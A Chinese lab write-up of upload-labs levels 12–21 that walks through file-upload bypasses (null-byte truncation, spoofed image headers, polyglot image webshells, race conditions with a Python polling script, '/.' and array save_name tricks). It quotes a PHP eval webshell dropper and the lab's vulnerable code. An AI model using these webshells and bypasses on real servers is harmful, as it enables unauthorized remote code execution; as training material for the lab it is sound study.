本文主要是介绍upload-labs-master打靶总结(12-21),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
返回1-11关https://blog.csdn.net/m0_71274136/article/details/130613836
目录
第十二关(GET的%00截断)
解决方法
思考
第十三题(POST的%00截断)
解决方法
第14关(检查前俩个字节)
解决方法
思考
第十五关(getimagesiez()检查前两个字节)
解决方法
第十六关(exif_imagetype()检查第一个字节)
解决方法
第十七关(imagecreatefromjpeg二次渲染)
解决方法
思考
第十八关(条件竞争1)
解决方法
思考
第十九关(条件竞争2)
解决方法
思考
第二十关(代码审计1)
解决方法
思考
第二十一关(代码审计2)
解决方法
思考
一句话木马演示,文件名1.php
第十二关(GET的%00截断)
白名单绕过。因为(代码第八行)对文件名进行了拼接的,所以可以用(get)%00截断绕过。
%00是一个url的编码,代码中move_uploaded_file()函数遇见0x00(0x表示16进制,后面跟着的是两个16进制的0)就会截断,而url把%00解码就是0x00
这里猜测可以使用文件包含绕过,我私下尝试成功,要是想试,看第16题。
这一关需要的版本要小于5.3.4,我用的(为什么用这个呢?我发现高版本里没有这个magic_quotes_gpc参数。)
并且关闭magic_quotes_gpc,这个选项是用来防止sql注入的,会对$_REQUEST、$_POST、$_GRT、$_COOKIE、$_SESSION等函数里的内容进行过滤,如:对内容中的单引号、双引号、<>这样的尖括号、NULL这样的字符等等都会加上转义字符。
解决方法
上传1.php文件,BP拦截,修改内容
放包
复制图像链接
我们用蚁剑连接,把后面的删除就行。
思考
为什么我们去修改?save_path=../upload/这个东西
因为提示说
可控在哪呢?就是提交表单后,action跳转的这个参数,而这个参数会在请求包里体现。
这是第12关的index.php文件,第34行可以看出,提交表单后会跳转到
action="?save_path=../upload/",而我们拦包,修改为save_path=../upload/1.php%00。
我们看看代码是怎么运行的:
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;
意思就是文件路径移动到:../upload/1.php%00 + 随机再(10,99)中生成一个数 + 日期 + 文件后缀(我们改的是1.jpg,所以后缀是jpg)
所以服务器最后的文件名应该是类似于这样的:1.php%EF%BF%BD/6220230524154943.jpg
但是实际上windows里收到的文件是这样的,如图示。
说明%EF%BF%BD/6220230524154943.jpg——url乱码/文件真正应该被赋予的名字——这一部分被%00截断了。
就会我们现在应该更清楚一些原理了吧,不客气。
第十三题(POST的%00截断)
白名单,和第12题一样,只不过使用了POST传输,使用(post)的方法去%00。
POST方法传输,浏览器就不会再对传输的内容进行编码,这样%00就变不成0x00,就无法截断了,所以我们需要手动设置。
解决方法
上传1.php文件,拦截
1.php+中的+号是为了方便找位置,+的16进制是2b
放包就行了,删后面的,蚁剑连接。
第14关(检查前俩个字节)
依然是白名单,只检查文件的前两个字节(代码里看的)=检查文件类型=检查文件头=构造图片木马绕过=用‘文件包含’来启用图片木马
补充知识:(抄的,记常用的就行)
1.png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
用‘文件包含’来启用图片木马的前提是:
有包含文件的代码。
解决方法
构造图片木马,合成图片
copy /b 青蛙看手机.jpg + shell.php 1.jpg
这个图片很好看吧,送你,没木马。
现在我们构造文件包含的url
127.0.0.1/upload-labs-master/include.php?file=upload/7320230524200805.jpg
构造完复制粘贴到蚁剑就行了
思考
代码很有意思,来分析分析
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);//getReailFileType应该是他自己构造的方法if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
1.2进制读取上传文件的前两个字节。
2.二进制解包。并拼接。$strInfo['chars1'].$strInfo['chars2'],unpack获取的俩个字节进行了拼接。
3.判断前两个字节
扩展函数
@unpack()——从二进制字符串中解压缩数据。@是执行但不报错的意思。
举例:
intval()——获取变量的整数值。
长脑子时间:
只检查文件头,那我们直接写一个文件头,是不是也能成功?
是的,能成功
只写文件头,简单快捷
前面我学过.htaccess和.user.ini绕过,可以用吗?
不能,因为他是白名单,进制上传了。就算没禁止,他对文件进行改名了,也不能用。
第十五关(getimagesiez()检查前两个字节)
getimagesiez()方法,获取图片大小,注意,前提是图片,意思就是说还是检查文件头
函数扩展
getimagesize — 取得图像大小
image_type_to_extension — 取得图像类型的文件后缀
解决方法
这次我们不合成图片木马,直接加文件头。当然上一关的合成图片木马还能用
8120230524203228.gif
第十六关(exif_imagetype()检查第一个字节)
exif_imagetype()方法,exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
函数扩展
exif_imagetype — 判断一个图像的类型
修改一下php.ini里的参数
重启服务。
解决方法
我上传合成木马,你随意。
第十七关(imagecreatefromjpeg二次渲染)
这一关进行了二次渲染——imagecreatefromjpeg(),就是对图片里面的内容进行了修改,生成了新的图片——图片末尾的代码一定会被改动了,但不会影响图片的整体显示。这样我们放在图片末尾的代码就不起作用了,因为被修改了。头也不能动(因为还检查文件头),尾也不能加代码,我们只能在代码不改动的地方添加一句话了。
解决方法
这里我直接使用的是另一个博主给的图片,检查二次渲染的图片需要特殊的工具,比如HxD Hex Editor或者010Editor等工具。
文件上传之二次渲染(专用图).zip - 蓝奏云文件大小:12.3 K|https://wwe.lanzoui.com/iFSwwn53jaf上传后使用文件包含
这是我的:
http://127.0.0.1/upload-labs-master/include.php?file=upload/27730.gif
思考
代码很有意思,我们来看看
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
1.就是获取图片的一些参数
2.判断图片类型,只有三种选项,相当于白名单,我这里复制了一个,其他的自己找找看。
if(($fileext == "jpg") && ($filetype=="image/jpeg"))
然后移动图片到指定路径下
if(move_uploaded_file($tmpname,$target_path),$target_path=UPLOAD_PATH.'/'.basename($filename);//这是指定路径
进行二次渲染,渲染成功,执行else
else里对图片进行了改名和显示。
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);@unlink($target_path);
$is_upload = true;
}
扩展函数:
imagecreatefromjpeg — 由文件或 URL 创建一个新图象
basename()— 函数返回路径中的文件名
unlink() — 函数删除文件。如果成功,该函数返回 TRUE。如果失败,则返回 FALSE。
srand() — 函数播种随机数生成器(rand())。
imagejpeg — 输出图象到浏览器或文件。
第十八关(条件竞争1)
解决方法
思路是这样的,我们先上传一个一句话木马18.php,文件内容有所改动
18.php的作用是创建一个新的php文件,并且写入一句话木马。
我们写一个python脚本,作用是去检查18.php是否被下载,然后趁他下载后,检查前的一瞬间,启用18.php
1)写18.php,这个w+也可以改成w,都能用,一会启用不行的时候,换换再试一试。
<?php
fputs(fopen('Tony.php','w+'),'<?php @eval($_POST["hack"])?>');
?>
2)python脚本,注意标红的地方,写自己的路径
import requests url='http://127.0.0.1/upload-labs-master/upload/18.php' while 1:html=requests.get(url)if html.status_code==200:print('ok')break
3)开启代理,用BP拦截发包
选择clear,也就是清除
选择没有负载,英文是null payloads,点完后选择无线发送。
线程数改成20
开始攻击
然后再启用python,多启用几次,我点了10下才有
结果就是这样
4)用蚁剑链接Tony.php
思考
我们来看看为什么可以用代码审计这种方法,看代码:
$is_upload = false;
$msg = null;if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
1.先把文件下载到文件加里
if(move_uploaded_file($temp_file, $upload_file)){
然后再进行检查后缀名,符合就改名,不符合就删除文件
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
第十九关(条件竞争2)
提示依然是代码审计,但是需要线去修改一作者的代码,作者路径好像写错了。
103行,添加——.'/'
保存退出
和上一关有区别。代码很长,思考不了一点了,我直接进行解释
还是白名单
先下载文件,检查文件类型!!要使用合成图片了。检查文件后缀,是的话,改文件名字,上传成功。
解决方法
1)构造木马图片
我懒,没合成图片,直接写了一个文件头,能成功就行,嘿嘿。
2)构造python脚本,注意路径,写自己的
import requests
url='http://127.0.0.1/upload-labs-master/include.php?file=upload/19.jpg'
while 1:html=requests.get(url)if('Warning' not in str(html.text)):print('ok')break
3)剩下的按上一关的操作,上传,拦截,多次上传,启用python脚本
注意,成功后文件跑到上一层了
蚁剑连接就行了。
思考
白名单里有rar、zip、7z!!!压缩文件后缀,哦吼,可以试试压缩文件包含,如果成功,还可以试试txt文件包含!!!!
用以前的shell.php一句话木马,改一下名字,改成后缀为zip或者7z的都行
上传19.zip,下面这是我的文件包含压缩文件
http://127.0.0.1/upload-labs-master/include.php?file=upload/1684977858.zip
nice
txt文件包含直接,在txt里写一句话木马,上传,文件包含用蚁剑连接,我自己试了试,成功。
第二十关(代码审计1)
黑名单,上传后指定文件名字,这样,我们上传一句话木马jpg文件,包请求包里的保存名称修改从php后缀不就行了吗。
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
解决方法
上传一个随便一个后缀的文件,因为发包的时候还要修改
拦截,filename肯定得是jpg或者其他的图片后缀,因为检查啊。
upload-19.php后面加上/.
/.也可以用%00(post方法)来截断。
move_uploaded_file()会忽略掉文件末尾的 /.
上传成功后蚁剑连接。
思考
那第12题能不能/.用呢?
实验结果是不能。**(一种植物)!为什么!他也用的move_uploaded_file()啊?!
对代码进行比较
12题:$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
20题:$img_path = UPLOAD_PATH . '/' .$file_name;
我进行猜测,/. 这个只能用于后面没有内容的,而%00比较兼容,都能用
例子:
第12题:
./upload/1.php/.55080963.jpg——/.不能用,move_uploaded_file()返回False
./upload/1.php%0055080963.jpg——%00能用,move_uploaded_file()返回True
第20题:
./www/upload-labs-master/upload/upload-19.php/.——move_uploaded_file()返回True./www/upload-labs-master/upload/upload-19.php%00——move_uploaded_file()返回True
第二十一关(代码审计2)
这一关和上一关相似,但有区别,区别在发送的请求包上,我们先做,后面思考。
解决方法
上传1.php
为什么是upload-20.jpg呢 ,因为以前就20关,第五关是新加上去的,作者没改这个参数,想改的,思考里有说。
修改,多的的那3行是复制粘贴上面3行的,然后改了一下。
http://127.0.0.1/upload-labs-master/upload/upload-20.php.
思考
改参数
这样就行了,改完不影响以后打靶。
为什么要这样修改参数?
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
1.先检查的文件类型,所以我们修改image/jpeg
2.这个代码对字符进行了分割,分割成了数组,然后用end取最后一个元素,就是取后缀名字
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
所以,我们才会有:
Content-Disposition: form-data; name="save_name[0]"
upload-20.php
-----------------------------30610834987321320712913579238
Content-Disposition: form-data; name="save_name[2]"jpg
-----------------------------30610834987321320712913579238
那我们也可以猜测
save_name[0]=upload-20.php
save_name[1]=upload-20
ave_name[2]=jpg
而他只用到了文件后缀名(进行检查用)和文件名(给文文件改名字用,没检查)
所以只写了两个
我参考学习的这个大佬:Upload-labs 1-21关 靶场通关攻略(全网最全最完整)_upload靶场_晚安這個未知的世界的博客-CSDN博客
返回第1-11关https://blog.csdn.net/m0_71274136/article/details/130613836
这篇关于upload-labs-master打靶总结(12-21)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!